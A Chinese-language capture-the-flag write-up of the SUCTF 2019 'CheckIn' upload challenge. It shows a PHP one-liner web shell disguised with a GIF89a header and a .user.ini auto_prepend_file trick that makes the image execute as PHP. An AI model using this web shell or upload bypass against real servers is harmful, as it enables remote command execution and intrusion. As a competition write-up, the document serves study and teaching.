[SUCTF 2019]CheckIn

 大佬的wp

 首先上传包含一句话的php文件,提示illegal suffix!,试了一下.php3,.php5,.phtml等都不行

[SUCTF 2019]CheckIn

 把文件后缀名改成.jpg试一下,检测到了内容 <?

[SUCTF 2019]CheckIn

  那就用其他姿势

<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script>

检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过

[SUCTF 2019]CheckIn

 那么现在的一句话如下,可以制作成图片马,但是需要解析成php

GIF89a
<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script

正常想到的是.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的

那么这里利用是 .user.ini ,而且.user,ini利用的范围比.htaccess更广,具体参考这里

不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

 php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:

PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

[SUCTF 2019]CheckIn

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置

 同时在php配置项中有两个比较有意思的项

auto_prepend_file和auto_append_file

相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

那么思路就有了

上传图片马,然后利用.user.ini解析图片马生成webshell

生成图片马

[SUCTF 2019]CheckIn

 然后需要利用.user.ini解析图片马

GIF89a
auto_prepend_file=shell.jpg

上传.user.ini和图片马

[SUCTF 2019]CheckIn

然后根据上传的路径,找到上传的Webshell,获取flag

[SUCTF 2019]CheckIn